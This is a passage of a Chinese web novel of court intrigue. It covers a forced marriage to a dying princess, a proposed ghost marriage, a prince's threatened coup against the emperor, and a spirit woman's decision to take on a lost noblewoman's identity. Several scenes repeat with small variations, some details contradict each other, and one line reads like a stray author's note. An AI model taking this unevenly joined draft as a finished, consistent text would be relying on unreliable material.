月光温柔地抚摸着他的脸庞,将他的眉眼映照得格外柔和,仿佛为这个在黑暗中挣扎的疯子,披上了一层温暖的外衣。
那是个已然被仇恨与执念吞噬的疯子,周身散发着令人胆寒的破碎气息。
月光冷冷洒下,仿若为他披上一层虚幻的银纱,却无法照亮他心底那无尽的黑暗深渊。
他仰头,目光迷离且癫狂,对着那高悬的冷月肆意倾诉,声音破碎而飘忽,似从九幽地狱传来。
每一个字,都饱含着扭曲的情感与蚀骨的怨怼。
在这无人回应的寂静夜里,咧开嘴角,露出一个似哭似笑的表情,无比真诚地说着谢谢。
那笑容,像是被恶意揉碎后重新拼凑,透着极致的疯狂与病态,仿佛在这世间,唯有这份虚幻的“感谢”。
才能让他那早已千疮百孔的灵魂,寻得一丝诡异的慰藉。
118. 阴婚
翌日,一道圣旨如阴霾般沉甸甸地落至将军府。
慕酌神色冷凝,于前厅缓缓跪地,听着内侍以那尖细刺耳的嗓音,一字一顿地将圣旨念完。
自始至终,他的面上仿若覆了一层寒霜,无波无澜。
“……大公主金枝玉叶,虽身染沉疴,却仍仰慕将军才名,特赐婚……望将军莫负圣恩,早日与大公主完婚,以冲喜庇佑公主安康……”
赐婚?听闻此言,慕酌眼底似有一抹幽光瞬间沉下,宛如寒潭中坠入巨石,惊起层层暗涌。
“慕将军,”内侍念罢圣旨,脸上堆起谄媚的笑,眼神殷切地望向他
“这可是陛下念及大公主情深意切,才下的旨意,实乃天大的恩典呐。大公主亲自恳请,陛下又点头允了,您往后便是驸马爷,那可是荣耀加身呐——”
慕酌未发一言,只是缓缓起身,伸手接过那明黄的圣旨。
圣旨上绣着的金线荣纹在微光下闪烁,却似千斤重担,压得他心口生疼。
内侍脸上的笑容顿时僵住,眼神中闪过一丝诧异与不满。
按规矩,接旨之人当跪地谢恩,可这位慕将军倒好,圣旨刚读完便自行站起,连句“谢主隆恩”都吝啬出口。
“慕将军,”内侍干笑一声,语气中带着几分试探,“您这……”
“送客。”
慕酌的声音冷若冰霜,毫无起伏,仿佛眼前之人不过是一粒微不足道的尘埃。
内侍脸色微变,张了张嘴,终究没敢再多说什么,只得讪讪地退了出去。
前厅之中,瞬时安静下来,唯有慕酌孤身而立。
他低头凝视着手中的圣旨,那明黄的缎面,此刻却如枷锁般令他窒息。
大公主、男宠、赐婚、驸马……这些字眼如毒刺般扎入他的心间。
他忽然冷笑一声,那笑容冷冽似淬了冰的利刃,能将世间一切温情斩断。
——她算什么东西?
他猛地抬手,指节因用力而泛白,将那道圣旨狠狠攥紧,圣旨瞬间皱成一团,宛如他此刻千疮百孔的心。
然而,圣旨既下,便如一座无法撼动的大山,压得人喘不过气来。
接下来的几日,将军府的门槛险些被踏破。
礼部的官员频繁登门,只为量尺寸为慕酌赶制喜服;内务府的人也络绎不绝,送来聘礼的单子;
大公主身边的奴仆更是如穿梭般来来往往,或是传话,或是送礼,甚至还有些趾高气昂、指手画脚之辈,搅得将军府上下不得安宁。
慕酌将自己锁在书房之中,不管是谁前来,一概不见。
就在此时,书房里,那个前来传话的人仍静静站着。此人并非将军府中人,慕酌一眼便认出——他是那个人身边的亲信。
“你来干什么?”慕酌的声音冷得仿佛能将空气冻结。
那人赶忙恭敬地拱了拱手,语气谦卑:“主子让小人带句话给将军。”
慕酌没有搭话,只是用冰冷的眼神示意他继续。
那人见状,自顾自地说下去:“大公主这婚事,主子说了,将军若是实在不愿接,便可不接。只是……”
他故意顿了顿,吊足了慕酌的胃口。
“只是什么?”慕酌的声音中透着一丝不耐烦。
书房内,气氛瞬间如坠冰窖,每一寸空气都仿佛被严寒冻结,压抑得让人喘不过气。
那人微微抬眼,与慕酌那冷冽似霜的目光相接,心中一凛,不敢再有所保留,赶忙压低声音说道:“只是,王爷说了——这桩婚事,未必就是灾祸。”
慕酌听闻此言,眸光骤凛,犹如寒星闪烁,暗藏着令人捉摸不透的深意。
“笼络朝臣,徐徐图之。”
那人将声音压得更低,几近耳语,仿佛生怕隔墙有耳,
“王爷说,时机已然成熟。既已深陷局中,便当顺应形势。这天下,也该换个主人了。”
话音落下,书房内陷入死一般的沉寂,仿佛时间都在此刻凝固。
慕酌缓缓垂眸,指腹下意识地摩挲着桌案上那道已然被攥皱的圣旨,良久,唇边才浮起一丝极其细微、几不可察的弧度。
那笑意,冷得仿若冬夜最凛冽的刀锋,足以划破世间一切伪装,直抵人心最深处的黑暗。
与此同时,城东的荣王府,一片静谧。
正殿内,沉水香幽幽燃烧,袅袅青烟自精致的博山炉中升腾而起,在雕梁画栋间缭绕盘旋,为这华贵的殿堂增添了一抹如梦似幻的朦胧。
荣王负手立于窗前,背对着满室的奢华,目光如渊,沉沉地凝视着院中那株已然落尽叶子的老槐树。
树干沧桑斑驳,在寒风中孤独伫立,恰似一位饱经岁月沧桑的迟暮老人。
“倒是打的一手好算盘。”
荣王忽然开口,声音低沉而压抑,像是从胸腔最深处硬生生碾出来的,透着无尽的怨愤与不甘,
“抢了我兄长的王位,如今又妄图把自己的女儿嫁给我兄长的儿子——”
话语未落,他猛地转身,面孔此刻却布满了阴鸷。
眼神锐利如鹰隼,透着一股择人而噬的狠厉,仿佛下一秒便要将世间一切仇敌撕成碎片。
荣王一字一顿,每个字都似淬了毒的利刃,“那就让他到黄泉之下,为自己的罪行赎罪吧。”
话音未落,他怒目圆睁,抬手狠狠一挥,桌案上的茶盏瞬间应声而落,清脆的破碎声在寂静的殿内格外刺耳。
碎瓷飞溅,茶水如泪般洇湿了价值千金的波斯地毯,恰似这片被权力欲望搅乱的天下。
外头的侍从听到声响,赶忙匆匆而入,却在与荣王那如利刃般的眼神交汇的瞬间,仿佛被钉在了原地,噤若寒蝉,大气都不敢出。
“滚!”荣王一声怒吼,犹如雷霆乍响。
侍从吓得脸色惨白,连滚带爬地退了出去,仿佛身后有洪水猛兽追赶。
荣王独自站在原地,望着地上那一片狼藉,面上的狠厉之色渐渐褪去,取而代之的是一种近乎悲凉的讥诮。
“阿兄,”他低声喃喃,目光望向虚空,眼神中流露出一丝追忆与沉痛,仿佛能穿透岁月的重重迷雾,看到往昔的种种,
“你的儿子,本王定会让他坐上本该属于你的位置。抢你皇位的人本来就不应该活着。”
他微微顿了顿,唇边缓缓浮起一抹残忍至极的笑意,犹如盛开在地狱边缘的恶之花,
“该还的,总归是要还的。”
窗外,暮色如墨,缓缓四合,最后一丝天光也被黑暗无情地吞噬。
荣王府的灯火次第亮起,将这座宏伟的府邸照得如同白昼。然而,那明亮的灯光,却暖不了人心分毫,只徒增了几分冰冷与孤寂。
书房内,慕酌终于缓缓抬起头,目光如炬,看向仍毕恭毕敬候在一旁的传话人。
他的声音依旧冷冽如冰,却多了一丝不易察觉的决绝,犹如寒夜中坚定的誓言:“你去告诉他,就说我知道了。我不会让他们抢走属于我的东西,他们在那个位置上,也坐得太久了。”
“是,少主。”
那人听闻此言,如释重负,赶忙躬身行礼,随后悄然退去,仿佛生怕惊扰了此刻的慕酌。
慕酌独自伫立在渐深的夜色中,周围的黑暗如潮水般涌动。他缓缓拿起那道已然被揉成一团的圣旨,目光在其上停留片刻,随后抬手将其置于明火之上。
火焰瞬间舔舐着圣旨,明黄色的缎面在火舌的肆虐下,逐渐卷曲、变黑,最终化为灰烬,恰似这风云变幻的局势中,那些即将被改写的命运。
如果真的有这么一个机会,然后他可以去屠杀的话,还是他的双亲的血仇,也算是痛快。
压抑了那么久的人啊就像是找到,了一个出口,里面露出了那种阴森痛快的笑容。
三日后,大公主薨了。
消息传来时,慕酌正在书房中擦拭一柄长剑。
剑身如秋水般澄澈,映出他冷峻的眉眼。传话的小厮话音未落,他的动作只微微一顿,随即继续擦拭,仿佛方才听到的不过是今日天气转凉之类的寻常话语。
“听说是夜里咳血不止,”小厮压低声音,“太医署的人守了三天三夜,终究没救回来。”
慕酌将长剑归鞘,起身走向窗边。窗外天色阴沉,铅灰色的云层低低地压着,像是要落雪的样子。
“下去吧。”他说。
小厮应声而退。书房重归寂静,慕酌负手而立,望着窗外的天际线,唇角缓缓浮起一抹极淡的弧度。
皇宫,紫宸殿。
皇帝的咆哮声几乎要将殿顶掀翻。
“死了?!朕把大公主嫁给他,是给他天大的恩宠!他倒好,连面都没露一次,如今公主死了,他慕酌倒是清闲!”
内侍跪了一地,个个以头抢地,大气不敢出。
皇帝在殿内来回踱步,荣袍翻涌如怒涛。他猛地停下脚步,眼中闪过一丝阴鸷的光:
“公主虽死,婚约仍在。传朕旨意——配阴婚。让慕酌以驸马之礼,迎娶大公主的灵位。公主生前没能完婚,死后也要入他慕家的祖坟!”
此言一出,跪在最前头的内侍总管猛地抬头,眼中闪过惊骇:“陛下,这……”
“怎么?”皇帝眯起眼,“你有异议?”
内侍总管连忙叩首:“奴才不敢。只是……只是慕将军那边,恐怕……”
“恐怕什么?”皇帝冷笑,“他是臣,朕是君。君要臣死,臣不得不死。何况只是配个阴婚?朕倒要看看,他慕酌能翻出什么浪来!”
翌日早朝,金銮殿。
皇帝高坐荣椅之上,面色带着愉悦。
“陛下,”礼部尚书出列,战战兢兢地开口,“大公主虽薨,然婚约已定,臣以为……当以驸马之礼,迎公主灵位入慕氏宗祠,方显皇室恩德。”
皇帝满意地点头:“准——”
“且慢。”
一道低沉的声音从殿外传来,生生截断了皇帝的话。
众人循声望去,只见荣王身着朝服,大步跨入金銮殿。他身后,跟着乌压压一片朝臣——国师、六部尚书中的三位、御史台半数御史、京畿卫统领。
皇帝瞳孔骤缩。
荣王行至殿中,躬身行礼,语气却毫无谦卑之意:“臣弟来迟,望陛下恕罪。”
“你——”皇帝站起身,“你要干什么?”
荣王不答,只是从袖中取出一本奏折,双手呈上:“臣等有本要奏。”
内侍总管颤抖着接过,呈至御前。
皇帝翻开奏折,只看了几行,脸色便骤然铁青。
那奏折上密密麻麻列着数十个名字,每一个都是朝中举足轻重的人物。而奏折的内容,只有寥寥数语——
“慕酌将军忠勇无双,乃国之栋梁。今大公主仙逝,婚约自当解除。若陛下执意配阴婚,臣等必以死相谏,绝不奉诏。”
皇帝握着奏折的手剧烈颤抖。
下朝后,皇帝面色阴沉得能滴出水来。
他越想越气——他是一国之君,凭什么要向一个将军低头?
配阴婚的事,他偏要办!
“陛下——”一名小太监跪倒在殿门处,声音发颤,“荣王殿下求见,说……说有要事启奏。”
皇帝脸色微变。
荣王。
这个蛰伏多年,手上握着兵权,自己十年来都没有把它弄死的这个异姓王。
“宣。”
荣王步入紫宸殿时,周身带着外头的寒气。
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他未穿朝服,只着一身玄色常服,却自有一股沉凝的气势,压得殿内众人不敢直视。
“参见陛下。”他躬身行礼,语气平淡。
皇帝居高临下地看着他,眼底闪过一丝不易察觉的忌惮:“荣王今日怎么有空入宫?”
荣王直起身,目光与皇帝相接,丝毫不避:“臣弟听闻大公主薨逝,特来慰问。另有一事,想请教陛下。”
“何事?”
荣王淡淡开口:“臣听闻陛下要给慕将军配阴婚,特来劝谏。”
“劝谏?”皇帝像是被踩了尾巴的猫,陡然暴怒起来,
“你算什么东西,也配来劝谏朕?!”
此言一出,殿内群臣倒吸一口凉气。
荣王却神色不变,只是微微眯起眼。
皇帝像是找到了宣泄口,连日来的憋屈、恐惧、愤怒,一股脑涌上心头
他猛地站起身,指着荣王的鼻子,声音尖厉得变了调:
“别以为朕不知道你的底细!你不过是朕皇兄当年从战场上捡回来的一条狗!贱民出身,连祖坟都不知道在哪!皇兄心善,封你做了个异姓王,你还真把自己当皇族了?!”
荣王的眼神骤然冷了下来。
皇帝却浑然不觉,继续咆哮:“你身上流的不是皇家血脉!你祖上八辈都是泥腿子!你凭什么在朕面前摆谱?你以为顶着个‘王’字,就真能骑到朕头上来了?!”
“陛下。”荣王的声音依旧平静,却带着一股令人窒息的压迫感,“您说完了吗?”
皇帝被这目光盯得心中一寒,却仍强撑着:“说完了又如何?”
荣王缓缓上前一步。
仅仅一步,皇帝却觉得那股压迫感扑面而来,几乎要将他吞噬。
“陛下说臣是狗,”荣王的声音低沉如闷雷,“那臣今日就让陛下看清楚——这条狗,能不能咬死人。”
“有些畜生抢了自己王兄的皇位,不知耻,做了十年,这种人连狗,哦不,那畜生都不屑与之为伍。”
“这一种注定遭到天谴的人。一旦又是自己出行,说不定就会被一条狗盯上作为食物。”
“就会被路边的野狗啃食,啃食到骨子里面。就像你现在一样。之后这些人烂了,放臭他们的血肉。”
他顿了顿,唇边浮起一抹森然的笑意:
“陛下别忘了,鳞军的十万精兵,此刻就驻扎在京郊。只要臣一声令下,半个时辰之内,这座金銮殿——就会换一个人坐。”
皇帝脸色煞白,踉跄后退。
“你……你敢……”
荣王不答,只是从袖中取出一本奏折,双手呈上:“陛下不妨先看看这个。”
皇帝握着奏折的手剧烈颤抖,指节泛白。
天机楼、国师、六部、御史台、京畿卫、十三道封疆大吏、九寺五监、翰林国子监、禁军诸卫、乃至宗室亲王……
满朝文武,十之七八。
这哪里是一份奏折。
这是他的催命符。
“你——”他猛地抬头,死死盯着荣王,“你这是要造反!”
皇帝暴喝,“来人!给朕拿下这个乱臣贼子!”
殿门应声而开,然而涌入殿中的,却不是皇帝的禁卫,而是一队身着玄甲的武士。
为首的将领单膝跪地,向荣王行礼:“王爷,禁卫已全部控制。”
荣王点点头,目光重新落回皇帝身上。
皇帝此刻已跌坐在荣椅上,面色惨白如纸,嘴唇哆嗦着,却一个字也说不出来。
“你的心思,最好收一收。”
荣王的声音再次响起,这一次,带着毫不掩饰的杀意,
“想除掉慕酌,想除掉臣,想除掉所有知道当年真相的人。但陛下最好想清楚——”
他微微俯身,居高临下地看着瘫坐在荣椅上的皇帝,一字一顿:
“臣若要陛下的命,现在就能要。满朝文武,京畿禁卫,没有一个人拦得住臣。臣今日不杀陛下,不是不敢,而是——先皇的血脉,要用堂堂正正的方式,拿回属于他的东西。”
他直起身,最后看了皇帝一眼,那目光冷得像冬夜的寒星:
“我今日来,不是要您的命。您这个皇位,坐得太久了,也该让出来了。但不是现在——待时机成熟,臣弟自会请陛下‘禅位’。”
他顿了顿,唇角勾起一抹讥诮的弧度:
“至于配阴婚的事,臣弟劝陛下三思。慕将军如今的身份,已经不是您能随意拿捏的了。公主既死,婚事自然作罢。陛下若是识趣,不妨赏些东西安抚安抚,也好显得您‘仁厚’。”
说罢,荣王转身,大步离去。
玄甲武士如潮水般退去,只余皇帝一人瘫坐在空荡荡的大殿中。
“陛下若是识趣,就好生坐着这把荣椅,等那一天到来。若是不识趣——”
他顿了顿,唇角的笑意愈发残忍:
“臣不介意,让陛下先走一步。”
说罢,他转身,大步离去。
群臣如潮水般退去,只余皇帝一人瘫坐在空荡荡的金銮殿上。
良久,他忽然发出一声凄厉的嚎叫,猛地抓起案上的玉玺,狠狠砸向殿柱。玉玺碎裂,碎玉崩飞,在他脸上划出一道血痕,他却浑然不觉。
“狗!全都是狗!”
他踉跄着站起身,抓起什么砸什么。砚台、奏折、茶盏、香炉——所有能砸的东西,都被他砸得粉碎。
“朕是天子!朕是皇帝!你们凭什么威胁朕!凭什么!”
他冲到殿门前,对着空荡荡的汉白玉台阶嘶吼:
“朕要杀了你们!杀了你们所有人!把你们满门抄斩!诛九族!”
回应他的,只有呼啸的寒风。
119. 借口
半个时辰后,一道诏书从紫宸殿发出,送至将军府。
诏书措辞极为客气,先是大赞慕酌“忠勇可嘉,国之栋梁”,又言大公主福薄,未能完婚实乃憾事,但“人死不能复生,婚约自当解除”。末尾,皇帝赏赐黄金千两、锦缎百匹、玉璧一对,聊表歉意。
慕酌接过诏书,面无表情地看完,随手搁在案上。
传旨的内侍陪着笑脸,点头哈腰地退了出去,一出将军府,便飞奔回宫复命。
紫宸殿。
皇帝屏退了所有人,独自站在空荡荡的大殿中。
诏书送出去了,赏赐也给了。他按照荣王的意思,服了软,低了头。
可他心里那口气,怎么咽得下去?
他猛地抓起案上的砚台,狠狠砸向殿柱。砚台碎裂,墨汁四溅,在明黄的帷幔上留下一道道狰狞的污渍。
“荣王……荣王……”
他咬牙切齿地念着这个名字,又抓起一只玉如意,狠狠摔在地上。玉如意应声而断,碎玉崩飞,划过他的龙袍,他却浑然不觉。
“先皇遗孤……慕酌……哈哈哈……”
“怪不得我看到你,怎么那么不舒服?原来是因为原来是因为你当年没死!”
他忽然笑起来,笑声癫狂而凄厉,在空荡荡的大殿中回荡。
“朕是天子!朕是真龙!你们凭什么……凭什么……”
他踉跄着走到一面铜镜前,盯着镜中那张因愤怒而扭曲的面孔。
他猛地挥拳,砸向铜镜。镜面碎裂,映出无数个扭曲的他自己。
“凭什么……凭什么朕杀不死你……凭什么……”
鲜血顺着他的指缝滴落,在白玉地砖上绽开一朵朵妖冶的红梅。
殿外,内侍们跪了一地,噤若寒蝉。
殿内,皇帝的怒吼与砸东西的声音,持续了整整一个时辰。
直到深夜,紫宸殿才终于安静下来。
皇帝独自坐在满地狼藉中,望着破碎的铜镜里那张血迹斑斑的脸,忽然低声笑了起来。
“好……好得很……”
他的声音沙哑而低沉,像是从地狱深处传来的呢喃。
“既然动不了你,那朕就等着。等着看你们……怎么死。”
窗外,夜色如墨。
荣王府的书房里,慕酌正坐在荣王对面。
案上摊着一幅舆图,是整个京城的布防。
“下一步,”荣王指着舆图上的一点,“该收网了。”
慕酌看着那一点,那是皇宫的方向。
他想起方才那道措辞客气的诏书,想起皇帝服软时的憋屈模样,唇角缓缓浮起一抹笑意。
那笑意阴森而痛快,像是压抑了太久的人,终于找到了宣泄的出口。
他开口,声音低沉,“我等这一天,等了很久了。”
荣王看着他,目光中流露出一丝欣慰,一丝悲凉。
“你父亲若在天有灵,看到你今日的样子,定然欣慰。”
慕酌垂眸,望着自己的双手。
这双手,很快又要染血了。
与此同时,京城某处别院。
宛楪坐在院中的石凳上,望着面前摊开的几张纸。
纸上画着一个人像。
画工不算精细,但足以辨认眉眼轮廓。
是她自己。
丁灵从屋里走出来,在她对面坐下,“你让我帮的忙我已经帮了,不过我觉得其实他并不需要我的帮助。”
“因为朝中能说得上话的大臣好像都在联名上书。不同意他这个阴婚。”
“多谢。”宛楪抿了抿唇,“我就是……”
“没事。”丁灵摆了摆手,嘴角带着笑,笑意却不达眼底。
丁灵给自己倒了盏茶,把那几张纸往旁边拨了拨。
“不说这个,”丁灵的语气悠悠的,“这个,尚书府的人,拿着这画像,在京城里到处找人。不只是京城,周边的城镇也都派了人去。”
宛楪没有说话。
“我打听了一下,”丁灵喝了口茶,“尚书府丢了位二小姐,丢了十几年了。最近不知从哪儿得来的消息,说是在洪河口一带见过。这不,满世界找呢。”
宛楪垂下眼,望着那画像。
画上的人眉眼清冷,确实是她。
“你知道他们为什么找你吗?”丁灵望着她。
宛楪沉默了一会儿。
“有一个女子,”她终于开口,声音很淡,“在我法力尽失的时候,护过我一段时日。”
丁灵挑了挑眉。
“她是尚书府那位二小姐?”
“应该是。”宛楪顿了顿,“只是……我没能见到她。”
丁灵没有插话,只是静静地听着。
“我赶到的时候,她已经不在了。”宛楪的声音很平静,像是在说一件与自己无关的事,“她临终前,托我去照顾一个人——一个盲眼的老伯。”
她顿了顿。
“那老伯看不见。等我到的时候,他摸着我的脸,以为我就是她。”
丁灵的眼神微微动了一下。
“然后呢?”
“然后……”宛楪轻轻摇了摇头,“尚书府的人就找来了。他们以为我是那位二小姐,便一路追了过来。”
丁灵没有说话。
她只是望着宛楪,目光里有些东西在慢慢沉淀。
“要不是有那一次……”宛楪忽然住了口。
她没有说下去。
但丁灵替她说完了。
“要不是有那一次,”丁灵的声音轻轻的,“你也不会遇见那个慕将军。对吧?”
宛楪微微一怔。
她没有说话。
但她的沉默,本身就是回答。
丁灵望着她,目光复杂。
她想起很多年前,自己也曾这样沉默过。
被人问起那个人时,也是这样的表情。
——不说话,不承认,也不否认。
只是沉默。
那种沉默,比任何言语都更说明问题。
丁灵垂下眼,端起茶盏喝了一口。
茶水微凉,有些涩。
“那这事,你打算怎么办?”她问。
宛楪沉默了一会儿。
“我不是她。”她说,“该澄清的,总要澄清。”
丁灵放下茶盏,似笑非笑地望着她。
“澄清?怎么澄清?去尚书府门口喊一嗓子‘我不是你们家二小姐’?”
宛楪没有说话。
丁灵继续道:“你要是认下这个身份,那可就是世家贵女了。尚书府的嫡女,正经的官家小姐,往后京里的宴会你都能光明正大地去,结交权贵也方便得很。”
她顿了顿,嘴角微微弯起。
“说不定还能和那位慕将军有什么姻缘。”
宛楪的手微微顿了一下。
那一下很快,快到几乎看不出来。
但丁灵看见了。
她看见宛楪的睫毛轻轻颤了颤,看见她的目光微微晃动了一下,看见她握着茶盏的手指,有那么一瞬间收紧了几分。
然后便恢复了平静。
但那一瞬间,已经足够。
丁灵心里那点猜测,终于落到了实处。
她忽然笑了。
“我开玩笑的,”她的语气轻飘飘的,像是在说一件无关紧要的事,
“你要是不想认,我去找那个国师徒弟说一嘴。他如今在朝中还有几分薄面,让他去打个招呼,说你不是那位二小姐。至于人家信不信……”
她耸了耸肩。
“那就不是咱们能管的了。”
宛楪没有说话。
她只是垂着眼,望着盏中浮沉的茶叶。
过了很久,她忽然开口。
“如果我澄清了,他们会不会继续找?”
丁灵愣了一下。
“找?”
“找真正的二小姐。”宛楪抬起眼,望着她,“会吗?”
丁灵想了想,点点头。
“会吧。总不能听你一面之词。好歹得查一查,看看真正的二小姐到底在哪儿。”
宛楪沉默了。
她想起那个盲眼的老伯。
想起他说,那位二小姐待他极好,给他买药,给他送饭,陪他说话。
想起他什么都不知道。
不知道那位姑娘已经不在了。
不知道眼前这个人,只是一个替身。
如果尚书府的人继续找……
他们会找到什么呢?
找到那个小小的坟墓吗?
找到那具已经冰冷的尸骨吗?
然后呢?
他们会怎么对待那个盲眼的老伯?
会怪他没有保护好小姐吗?会质问他为什么还活着吗?会——
宛楪垂下眼。
“那不太好。”她轻轻说。
丁灵挑了挑眉。
“什么不太好?”
“他们若是找到她……”宛楪顿了顿,“会把她挖出来的。”
丁灵愣住了。
她看着宛楪,一时没有说话。
“她是我的救命恩人。”宛楪的声音很轻,“若不是她,那段时日我大概……”
她没有说下去。
但丁灵懂了。
她懂了宛楪为什么沉默。
懂了宛楪为什么犹豫。
懂了宛楪心里在想什么。
“所以呢?”丁灵的声音也很轻,“你想怎么做?”
宛楪沉默了很久。
然后她抬起眼。
“我暂时认下这个身份。”她说,声音平静得没有起伏,“等过一段时日,再制造一场意外,让她‘离世’。这样……便不会再有人去找她了。”
丁灵没有说话。
她只是望着宛楪,目光复杂。
这话听起来冠冕堂皇。
为了救命恩人,暂时认下这个身份。
为了不让人打扰她的安宁,再制造一场意外离世。
听起来很合理。
可丁灵是什么人?
她是天机楼的楼主,是在各方势力之间周旋了上百年的藤茎蔓妖。
她太清楚人心了。
太清楚一个人在给自己找借口的时候,会说出什么样的话来。
所以她只是点了点头。
“可以。”
她的语气淡淡的,听不出什么情绪。
宛楪没有看她。
她只是站起身,说了一句“我乏了”,便转身进了屋。
院门轻轻关上。
丁灵独自坐在石桌旁,望着那扇关上的门。
月光落下来,铺了满地清辉。
她的眼神,一点一点冷了下去。
那张总是带着笑的脸,此刻没有一丝表情。
她就那样坐着,一动不动。
周身的气息却慢慢变了。
那种气息让人胆寒。
像是深冬的风,像是极寒之地永远不会融化的冰。
像是一株藤蔓,在黑暗中缓缓舒展开来,缠绕、收紧、绞杀。
她想起很多年前,自己也曾这样。
为了一个人,找尽借口。
为了一个人,把自己骗得团团转。
为了一个人……
后来呢?
后来,她亲手把他埋了。
丁灵垂下眼,望着自己的手。
月光下,那双手纤细白皙,看不出什么特别。
但她知道这双手杀过多少人。
也知道这双手,还可以再杀多少人。
她想起宛楪刚才的样子。
说起那个人的时候,睫毛轻轻颤了颤。
说起那个人的时候,握着茶盏的手指微微收紧。
说起那个人的时候,沉默着,什么都不说。
——那副模样,像极了当年的自己。
丁灵忽然笑了一下。
那笑
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容很淡,淡得几乎看不出来。
但若是有人看见,一定会觉得那笑容比哭还要可怕。
“我千叮咛万嘱咐……”
她的声音很轻,轻得像是一声叹息。
“不要去喜欢一个人类。”
“不要去喜欢一个人类。”
“不要去喜欢!”
她顿了顿。
“为什么就是听不进去呢?”
她抬起眼,望着那扇关上的门。
月光落在门上,清清冷冷的。
门的那一边,是她最好的朋友。
是她在世上为数不多可以交心的人。
是她拼了命也想护住的人。
可现在,那个人……
正在一步一步,走向她当年走过的路。
走向那条注定没有好结果的路。
走向那条……
她亲手把那个人埋进土里的路。
丁灵的眼神暗了下去。
她就那样坐着,坐了很久很久。
月亮从东边升到中天,又从西边缓缓沉下去。
她没有动。
直到天边泛起鱼肚白,她才慢慢站起身。
她没有再看那扇门。
只是转身,走进了自己的屋子。
脚步声轻轻响起,又轻轻消失。
院子里恢复了寂静。
只有风,轻轻地吹过。
屋里,宛楪躺在床上,睁着眼望着帐顶。
她睡不着,脑海中翻来覆去的,是丁灵刚才的话。
“你要是认下这个身份,那可就是世家贵女了。”
“说不定还能和那位慕将军有什么姻缘。”
她翻了个身,眼前浮现出另一个人。
萧亦熙,尚书府的大小姐。
那日在洪河口,她亲眼看见那个人缠着慕酌,一口一个“慕将军”,眼睛都快黏在他身上了。
还有那日在营帐里。
那时候她还不知道萧亦熙是谁,只是恰好路过,恰好看见。
萧亦熙站在慕酌面前,说那日救他的人是她。
慕酌没有说话。
萧亦熙又说,她知道慕酌的身份,知道他那些事,但她不在乎。
慕酌还是没有说话。
萧亦熙便凑近了些,说慕将军这样的人物,不该被那些流言蜚语耽误了。若是有她萧府撑腰,往后在京里,便再没人敢说什么。
然后慕酌开口了。
他只说了一句话。
“滚。”
就一个字。
萧亦熙的脸色当时就变了。
她说了很多话,软硬兼施,威逼利诱。说萧府如何如何,说她父亲如何如何,说慕酌若是不识抬举,往后有的是苦头吃。
慕酌只是坐在那里,一动不动。
从头到尾,没有再看她一眼。
宛楪那时在暗处看着,觉得那个人有趣得很。
现在想起来,心里却有些说不清的感觉。
那日在洪河口,她出现,说了那些话,让所有人都以为是她救了人。
可真正救了人的,是——
宛楪忽然不往下想了。
她翻了个身,把脸埋进枕头里。
真烦。
这些人类的破事,她一点也不想掺和。
她活了这么久,见过太多太多。爱恨情仇,生离死别,都是过眼云烟。那些凡人活不过百年,他们争的那些东西,抢的那些东西,在她眼里什么都不是。
她向来是这样想的。
可是……
她想起今日丁灵问她的那些话。
想起自己听见“说不定还能和那位慕将军有什么姻缘”时,那一瞬间的心跳。
想起自己给丁灵的解释——
“我是为了救命恩人。”
“我不想他们去挖她的坟。”
“我只是暂时认下这个身份。”
听起来都很有道理。
她自己都快信了。
可是……
她真的只是为了这些吗?
宛楪闭上眼。
脑海中浮现出那个人的样子。
那日在洪水里,他红着眼睛,像一头发疯的猛兽,喊着“活要见人,死要见尸”。
那日在客栈,他站在满地狼藉的中央,嘶声喊着“那些刺客怎么还不来杀我”。
那日在芙蓉园,他站在凉亭里,被一个高高在上的女人用“男宠”二字侮辱,却只是淡淡说了一句“臣,不配”。
还有他按在胸口的那只手。
那个动作……
宛楪忽然睁开眼。
她想起那张纸条。
平安,勿念。
她把它塞进他衣襟里的时候,他还在昏迷。
他不知道那是谁写的。
但他一直带着。
一直按着胸口,像是那里藏着什么重要的东西。
宛楪望着帐顶,沉默了很久。
然后她轻轻坐起身。
月光从窗缝里漏进来,落在地上,薄薄的,清清冷冷的。
她坐在那里,望着那片月光。
然后她开口,声音很轻,像是在对自己说:
“我只是想拿回我的真身。”
“我的真身在他那里。”
“我得去拿回来。”
顿了顿。
“顺便……看看那个人。”
“看看他到底能不能抓到京城里那些大官。”
“看看他值不值得信任。”
“只是这样。”
她说完,自己都觉得这些话有些可笑。
但她还是点了点头,像是在说服自己。
“只是这样。”
她又重复了一遍。
然后她躺回去,闭上眼。
月光静静地落着。
窗外不知什么时候起了风,吹得树叶沙沙作响。
她听着那风声,慢慢睡着了。
120. 死讯
七日前,京郊皇家围场。
春猎是每年的大日子,京中勋贵子弟无不盛装出席,比着谁家的骑装鲜亮,谁家的马匹神骏,谁家子弟能在御前露脸。
萧亦熙作为尚书府嫡女,自然在受邀之列。
天还没亮她就起了,对着铜镜折腾了整整一个时辰。
那身绯红骑装是新裁的,用的是蜀地今年进贡的云锦,阳光下能泛出流霞般的光泽。
发髻上簪着八宝攒珠钗,每一颗珠子都有拇指肚大小,是去年及笄时父亲送的贺礼。她对着镜子左照右照,觉得自己今日当真是明艳照人。
——待会儿定要让那些贵女们看看,什么叫尚书府的气派。
至于那个慕酌将军……
萧亦熙抿了抿唇,她见过慕酌两次。一次是去年中秋宫宴,一次是上元节灯会。两次都是远远地看,可那人的眉眼身姿,却像刻在她心里似的,怎么也抹不掉。
那样的男子,满京城的贵女哪个不惦记?
她带着侍女出门时,天边刚泛起鱼肚白。
皇家围场设在京郊八十里外的鹿鸣山,连绵起伏的山峦被官军围得水泄不通,明黄的龙旗在春风里猎猎作响。
这是开春第一场大猎,京中但凡有些头脸的人家都得了帖子,车马络绎不绝,从山脚一直排到山顶。
萧亦熙坐在马车里,第三次对着铜镜照自己的妆容。
“小姐,您都照了一路了。”贴身丫鬟碧桃忍不住笑,“再照下去,镜子都要被您照花了。”
萧亦熙瞪了她一眼,嘴角却忍不住往上翘:“你懂什么?今日这围场里,满京城的贵女都在,我若是被比下去了,往后还怎么见人?”
她今日穿了一身新制的绯红骑装,是苏州织造进贡的云锦,裁成窄袖紧腰的式样,把她纤细的腰身和修长的腿衬得恰到好处。
发髻上簪着八宝攒珠钗,那钗头的明珠有指肚大小,是去年父亲从南洋商人手里买来的,满京城也找不出第二支。
耳上是赤金镶红宝石的坠子,随着马车颠簸轻轻晃动,在她颊边划出一道道流光。
她对着镜子左看右看,越看越满意。
今日她要让那些贵女们都看看,什么叫做真正的大家闺秀。
马车在围场入口停下。萧亦熙扶着碧桃的手下了车,刚站稳,就听见前面传来一阵喧哗。
“让开让开!公主驾到,都让开!”
